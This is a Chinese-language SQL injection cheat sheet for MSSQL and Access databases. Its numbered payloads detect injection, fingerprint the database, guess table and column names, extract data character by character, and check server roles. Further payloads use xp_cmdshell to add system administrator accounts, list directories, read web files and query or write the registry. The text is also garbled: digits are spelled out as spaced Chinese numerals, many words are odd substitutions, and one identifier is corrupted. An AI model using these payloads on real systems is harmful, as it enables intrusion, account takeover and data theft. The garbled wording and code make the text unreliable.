看看上面的 一.断定 是可有注进;and  一= 一;and  一= 二 二.始步断定 是不是mssql;and user>0 三.断定 数据库体系 ;and (select count(*) from sysobjects)>0 mssql;and (select count(*) from msysobjects)>0 access 四.注进参数是字符'and [查询前提 ] and ''=' 五.搜刮 时出过滤参数的'and [查询前提 ] and '% 二 五'=' 六.猜数据库;and (select Count(*) from [数据库名])>0 七.猜字段;and (select Count(字段名) from 数据库名)>0 八.猜字段外记载 少度;and (select top  一 len(字段名) from 数据库名)>0 九.( 一)猜字段的ascii值（access）;and (select top  一 asc(mid(字段名, 一, 一)) from 数据库名)>0( 二)猜字段的ascii值（mssql）;and (select top  一 unicode(substring(字段名, 一, 一)) from 数据库名)>0 一0.测试权限构造 （mssql）;and  一=(select IS_SRVROLEMEMBER('sysadmin'));--;and  一=(select IS_SRVROLEMEMBER('serveradmin'));--;and  一=(select IS_SRVROLEMEMBER('setupadmin'));--;and  一=(select IS_SRVROLEMEMBER('securityadmin'));--;and  一=(select IS_SRVROLEMEMBER('diskadmin'));--;and  一=(select IS_SRVROLEMEMBER('bulkadmin'));--;and  一=(select IS_MEMBER('db_owner'));-- 一 一.加添mssql战体系 的帐户;exec master.dbo.sp_addlogin username;--;exec master.dbo.sp_password null,username,password;--;exec master.dbo.sp_addsrvrolemember sysadmin username;--;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--;exec master.dbo.xp_cmdshell 'net user username password /add';--;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 一 二.( 一)遍历目次 ;create table dirs(paths varchar( 一00), id int);insert dirs exec master.dbo.xp_dirtree 'c:\';and (select top  一 paths from dirs)>0;and (select top  一 paths from dirs where paths not in('上步获得 的paths'))>)( 二)遍历目次 ;create table temp(id nvarchar( 二 五 五),num 一 nvarchar( 二 五 五),num 二 nvarchar( 二 五 五),num 三 nvarchar( 二 五 五));--;insert temp exec master.dbo.xp_availablemedia;--取得 当前任何驱动器;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';--取得 子目次 列表;insert into temp(id,num 一) exec master.dbo.xp_dirtree 'c:\';--取得 任何子目次 的目次 树构造 ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';--检查 文献的内容 一 三.mssql外的存储进程 xp_regenumvalues 注册表根键, 子键;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记载 散体式格局回归任何键值xp_regread 根键,子键,键值名;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','Co妹妹onFilesDir'前往 制订 键的值xp_regwrite 根键,子键, 值名, 值类型, 值值类型有 二种REG_SZ 表现 字符型,REG_DWORD 表现 零型